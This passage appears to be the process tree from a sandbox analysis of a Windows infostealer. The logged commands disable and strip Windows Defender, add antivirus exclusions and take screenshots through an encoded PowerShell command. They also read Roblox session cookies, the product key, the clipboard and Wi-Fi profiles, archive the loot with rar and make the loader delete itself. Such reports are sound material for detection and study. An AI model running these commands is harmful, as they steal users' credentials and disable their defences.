      Suspicious behavior: EnumeratesProcesses
      PID:2856
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3592
  - - C:\Windows\system32\tasklist.exe
      tasklist /FO LIST
      4⤵
      Enumerates processes with tasklist
      PID:904
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4360
  - - C:\Windows\system32\tasklist.exe
      tasklist /FO LIST
      4⤵
      Enumerates processes with tasklist
      PID:4532
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName"
    3⤵
    PID:5008
  - - C:\Windows\System32\Wbem\WMIC.exe
      WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName
      4⤵
      PID:2716
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell Get-Clipboard"
    3⤵
    - Clipboard Data
    PID:2708
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-Clipboard
      4⤵
      Clipboard Data
      Suspicious behavior: EnumeratesProcesses
      PID:3040
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
    3⤵
    PID:4012
  - - C:\Windows\system32\tasklist.exe
      tasklist /FO LIST
      4⤵
      Enumerates processes with tasklist
      PID:3872
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tree /A /F"
    3⤵
    PID:2124
  - - C:\Windows\system32\tree.com
      tree /A /F
      4⤵
      PID:3712
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "netsh wlan show profile"
    3⤵
    - System Network Configuration Discovery: Wi-Fi Discovery
    PID:4584
  - - C:\Windows\system32\netsh.exe
      netsh wlan show profile
      4⤵
      Event Triggered Execution: Netsh Helper DLL
      System Network Configuration Discovery: Wi-Fi Discovery
      PID:760
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "systeminfo"
    3⤵
    PID:928
  - - C:\Windows\system32\systeminfo.exe
      systeminfo
      4⤵
      Gathers system information
      PID:2648
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters /V DataBasePath"
    3⤵
    PID:3760
  - - C:\Windows\system32\reg.exe
      REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters /V DataBasePath
      4⤵
      PID:4388
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA="
    3⤵
    PID:3052
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA=
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:5016
    - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
        
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\rghfe5vu\rghfe5vu.cmdline"
        5⤵
        
        PID:1752
      - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESBEFA.tmp" "c:\Users\Admin\AppData\Local\Temp\rghfe5vu\CSC60525F4F269E419A812726DC4F825053.TMP"
        6⤵
        
        PID:112
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tree /A /F"
    3⤵
    PID:4448
  - - C:\Windows\system32\tree.com
      tree /A /F
      4⤵
      PID:4296
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tree /A /F"
    3⤵
    PID:1976
  - - C:\Windows\system32\tree.com
      tree /A /F
      4⤵
      PID:2824
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "attrib -r C:\Windows\System32\drivers\etc\hosts"
    3⤵
    PID:616
  - - C:\Windows\system32\attrib.exe
      attrib -r C:\Windows\System32\drivers\etc\hosts
      4⤵
      Drops file in Drivers directory
      Views/modifies file attributes
      PID:4092
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tree /A /F"
    3⤵
    PID:4308
  - - C:\Windows\system32\tree.com
      tree /A /F
      4⤵
      PID:2840
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "attrib +r C:\Windows\System32\drivers\etc\hosts"
    3⤵
    PID:932
  - - C:\Windows\system32\attrib.exe
      attrib +r C:\Windows\System32\drivers\etc\hosts
      4⤵
      Drops file in Drivers directory
      Views/modifies file attributes
      PID:620
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tree /A /F"
    3⤵
    PID:3880
  - - C:\Windows\system32\tree.com
      tree /A /F
      4⤵
      PID:1572
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
    3⤵
    PID:724
  - - C:\Windows\system32\tasklist.exe
      tasklist /FO LIST
      4⤵
      Enumerates processes with tasklist
      PID:4932
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tree /A /F"
    3⤵
    PID:4980
  - - C:\Windows\system32\tree.com
      tree /A /F
      4⤵
      PID:1500
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"
    3⤵
    PID:2416
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      PID:4984
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"
    3⤵
    PID:2284
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:2220
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "getmac"
    3⤵
    PID:184
  - - C:\Windows\system32\getmac.exe
      getmac
      4⤵
      PID:2072
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\_MEI29602\rar.exe a -r -hp"1" "C:\Users\Admin\AppData\Local\Temp\pUjFf.zip" *"
    3⤵
    PID:324
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:3880
  - - C:\Users\Admin\AppData\Local\Temp\_MEI29602\rar.exe
      C:\Users\Admin\AppData\Local\Temp\_MEI29602\rar.exe a -r -hp"1" "C:\Users\Admin\AppData\Local\Temp\pUjFf.zip" *
      4⤵
      Executes dropped EXE
      PID:2492
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wmic os get Caption"
    3⤵
    PID:3068
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic os get Caption
      4⤵
      PID:4548
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wmic computersystem get totalphysicalmemory"
    3⤵
    PID:3196
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic computersystem get totalphysicalmemory
      4⤵
      PID:4216
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
    3⤵
    PID:4616
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic csproduct get uuid
      4⤵
      PID:3624
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER"
    3⤵
    PID:3252
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      PID:4348
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"
    3⤵
    PID:1268
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic path win32_VideoController get name
      4⤵
      Detects videocard installed
      PID:1736
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault"
    3⤵
    PID:1356
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:4300
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "ping localhost -n 3 > NUL && del /A H /F "C:\Users\Admin\AppData\Local\Temp\Loader.exe""
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    PID:372
  - - C:\Windows\system32\PING.EXE
      ping localhost -n 3
      4⤵
      System Network Configuration Discovery: Internet Connection Discovery
      Runs ping.exe
      PID:2504

C:\Windows\system32\taskmgr.exe
"C:\Windows\system32\taskmgr.exe" /4
1⤵
- Checks SCSI registry key(s)
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
PID:100

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
1⤵
PID:3300

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k SDRSVC
1⤵
PID:3136

C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\  .scr
"C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\  .scr" /S
1⤵
- Executes dropped EXE
PID:3320
- C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\  .scr
  "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\  .scr" /S
  2⤵
  - Drops file in Drivers directory
  - Executes dropped EXE
  - Loads dropped DLL
  PID:5084
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\  .scr'"
    3⤵
    PID:2588
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\  .scr'
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      PID:1976
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
    3⤵
    PID:3812
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      PID:1736
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
    3⤵
    PID:1600
  - - C:\Windows\system32\tasklist.exe
      tasklist /FO LIST
      4⤵
      Enumerates processes with tasklist
      PID:1796
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
    3⤵
    PID:2620
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic csproduct get uuid
      4⤵
      PID:3940
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\DriverDesc 2"
    3⤵
    PID:4668
  - - C:\Windows\system32\reg.exe
      REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\DriverDesc 2
      4⤵
      PID:3400
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\ProviderName 2"
    3⤵
    PID:3360
  - - C:\Windows\system32\reg.exe
      REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\ProviderName 2
      4⤵
      PID:4820
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"
    3⤵
    PID:1732
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic path win32_VideoController get name
      4⤵
      Detects videocard installed
      PID:2300
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"
    3⤵
    PID:264
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic path win32_VideoController get name
      4⤵
      Detects videocard installed
      PID:3712
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
    3⤵
    PID:1060
  - - C:\Windows\system32\tasklist.exe
      tasklist /FO LIST
      4⤵
      Enumerates processes with tasklist
      PID:4100
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
    3⤵
    PID:2568
  - - C:\Windows\system32\tasklist.exe
      tasklist /FO LIST
      4⤵
      Enumerates processes with tasklist
      PID:4040
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName"
    3⤵
    PID:3996
  - - C:\Windows\System32\Wbem\WMIC.exe
      WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName
      4⤵
      PID:4288
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell Get-Clipboard"
    3⤵
    - Clipboard Data
    PID:1928
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-Clipboard
      4⤵
      Clipboard Data
      Suspicious behavior: EnumeratesProcesses
      PID:1600
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
    3⤵
    PID:4540
  - - C:\Windows\system32\tasklist.exe
      tasklist /FO LIST
      4⤵
      Enumerates processes with tasklist
      PID:208
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tree /A /F"
    3⤵
    PID:4348
  - - C:\Windows\system32\tree.com
      tree /A /F
      4⤵
      PID:4840
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "netsh wlan show profile"
    3⤵
    - System Network Configuration Discovery: Wi-Fi Discovery
    PID:3760
  - - C:\Windows\system32\netsh.exe
      netsh wlan show profile
      4⤵
      Event Triggered Execution: Netsh Helper DLL
      System Network Configuration Discovery: Wi-Fi Discovery
      PID:2388
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "systeminfo"
    3⤵
